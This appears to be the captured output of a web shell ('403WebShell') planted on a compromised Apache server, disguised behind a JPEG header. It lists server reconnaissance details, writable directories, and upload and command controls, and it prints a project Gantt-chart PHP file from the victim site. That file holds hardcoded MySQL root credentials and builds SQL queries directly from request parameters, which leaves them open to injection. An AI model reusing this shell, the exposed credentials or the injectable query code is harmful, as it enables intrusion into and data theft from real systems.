????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.90.172
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/gantt.php
<?php

 	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");

	$StartDate = date("Y-m-d",strtotime("-1 month"));
	$EndDate = date("Y-m-d",strtotime("+2 month"));
	$NumberOfDates = 90;
    $countryId = 1;
    if($_GET['CountryId'] == ""){
        $_GET['CountryId'] = 1;
           $countryId = 1;
    }

  $sql = "SELECT * FROM ProjectStatus ORDER BY ProjectStatusId";
		
	  $result = mysql_query($sql);
	  $ProjectStatusArray = array();
	  while ($row = mysql_fetch_assoc($result)){ 
	  	  $temp_array = array();
		  $temp_array[] = $row['ProjectStatusId'];
		  $temp_array[] = $row['ProjectStatusDisplayValue'];
		  $ProjectStatusArray[] = $temp_array;
	  }


?>
<html>
<head>
<meta charset="iso-8859-1">
<title>GANTT</title>
<style>
    
        table, th, td {
          font-size: 10px;
            font-family: "Gill Sans", "Gill Sans MT", "Myriad Pro", "DejaVu Sans Condensed", Helvetica, Arial, "sans-serif";
            border: 1px solid;
              border-collapse: collapse;
        }
    </style>
<script type="text/javascript">
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
    </script>
</head>

<body>
	<p>Start: <?php echo($StartDate);?>
	<br>End: <?php echo($EndDate);?></p>
	<p><span class="heading2">
	  <select name="country" id="country" onChange="MM_jumpMenu('parent',this,0)">
	    <option value="?" selected="selected">Country</option>
	    <?php
                
				$sql = "SELECT * FROM Country order by Name asc ";
		
		$x = 0;
	
	$result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ 
	  

				
				?>
	    <option <?php if($row['CountryId'] == $_GET['CountryId']){echo("selected");}?> 
                    value="?CountryId=<?php echo($row['CountryId']);?>&SR=<?php echo($_GET['SR']);?>"
                    ><?php echo($row['Name']);?></option>
	    <?php }?>
    </select>
	</span><span class="heading2">
	<select name="user2" id="user2" onChange="MM_jumpMenu('parent',this,0)">
	  <option value="?" selected="selected">Sales Responsible</option>
	  <?php
                
        $sql = "SELECT * FROM SystemUser WHERE (UserGroupID = 8 or UserGroupID = 12) and CountryId = $countryId and SystemUserStatusId = 1 and Username LIKE '%@%' order by Username asc ";
	 
		$x = 0;
	    $result = mysql_query($sql);
	   while ($row = mysql_fetch_assoc($result)){ 
				?>
	  <option <?php if($row['SystemUserId'] == $_GET['SR']){echo("selected");}?> value="?CountryId=<?php echo($_GET['CountryId']);?>&SR=<?php echo($row['SystemUserId']);?>"><?php echo($row['Username']);?></option>
	  <?php }?>
    </select>
	</span> </p>
<table width="5000" >
  <tbody>
    <tr>
      <td width='500'>Project / Date</td>
        <td width='100'>Hrs</td>
        <td width='250'>Status</td>
		<?php 
			for ($i = 0; $i <= $NumberOfDates; $i++) {
				$CellDate = date("Y-m-d",strtotime("-1 month +".$i." days"));
				echo("<td width='175'>".$CellDate."</td>");
			}
		?>
    </tr>
	  
    <?php
      
      $sql_extra = "and (";
      if($_GET['SR'] != ""){
         $sql = "SELECT * FROM ICADBalls WHERE SystemUserId = '". $_GET['SR']."'";
         $result = mysql_query($sql);

          while ($row = mysql_fetch_assoc($result)){ 
           $sql_extra .= " ProjectId = '".$row['ProjectId']."' or ";
          }
          $sql_extra = substr($sql_extra,0,strlen($sql_extra)-3);
           $sql_extra .= "  )";
    }
   
	  if(strlen($sql_extra) == 5){
          $sql_extra = "";
      }
      
	  $sql = "SELECT * FROM Project WHERE  ProjectPhaseId = 2 and Name not like 'iCAD%' and Name not like 'EP_%' and not ProjectTypeId = 20 and CountryId = '".$_GET['CountryId']."' $sql_extra order by ProductionStartDate asc";

//echo($sql);
   	 $result = mysql_query($sql);
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	
        $Name =  $row['Name'];
        $ProjectId =  $row['ProjectId'];
	 	$ProductionStartDate =  $row['ProductionStartDate'];
		$ProductionCompletedDate =  $row['ProductionCompletedDate'];
		$CustomerDeliveryDate =  $row['CustomerDeliveryDate'];
        $PreprocessingStartDate =  $row['PreprocessingStartDate'];
        $TellAstacusDate =  $row['TellAstacusDate'];
        $TimeReal =  $row['TimeReal'];
       
          
	    $COLOR = "#FFFFFF";
        $COUNTER_DEL = 0;     
	    $Today = date("Y-m-d");
          
             
											   foreach ($ProjectStatusArray as &$value) {
													$id = $value[0];
												    $name = $value[1];
												    if($row['ProjectStatusId'] == $id){
													     $ProjectStatus  = $name;
												    }  
												}

          
          
      ?>
	  
	<tr>
      <td width='500' height="30"><a href="https://icad.astacus.se/project/index.php?page=project&projectId=<?php echo($ProjectId);?>" target="_blank"><?php echo($Name);?> (<?php echo($ProjectId);?>)</a></td>
      <td width='100' height="30"> <?php echo($TimeReal);?></td>
        <td width='250' height="30"> <?php echo($ProjectStatus);?></td>
		<?php 
			for ($i = 0; $i <= $NumberOfDates; $i++) {
				$CellDate = date("Y-m-d",strtotime("-1 month +".$i." days"));
				                
                if($ProductionStartDate == $CellDate){
					$COLOR = "#00FF00";
					echo("<td width='175' bgcolor='$COLOR'>".$ProductionStartDate."</td>");
				
				}else if($ProductionCompletedDate == $CellDate){
					echo("<td width='175' bgcolor='$COLOR'>".$ProductionCompletedDate."</td>");
					$COLOR = "#026700";
                    
				}else if($CustomerDeliveryDate == $CellDate){
					echo("<td width='175' bgcolor='$COLOR'>".$CustomerDeliveryDate."</td>");
					$COLOR = "#FFFFFF";
                    $COUNTER_DEL = 0;
                    
				}else if($PreprocessingStartDate == $CellDate){
					
                    $COLOR = "#d79800";
                    echo("<td width='175' bgcolor='$COLOR'>".$PreprocessingStartDate."</td>");
					
				}else if($TellAstacusDate == $CellDate){
				
                    echo("<td width='175' bgcolor='$COLOR'>".$TellAstacusDate."</td>");
					
                	}else{

                            if($COLOR == "#026700"){
                                $COUNTER_DEL++;
                            }

                            if(  $COUNTER_DEL > 14){
                                $COLOR = "#FF0000";
                            }

                            echo("<td width='175' bgcolor='$COLOR'></td>");
				}

			}
		?>
    </tr>
	  <?php  }?>
	  
	  
  </tbody>
</table>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit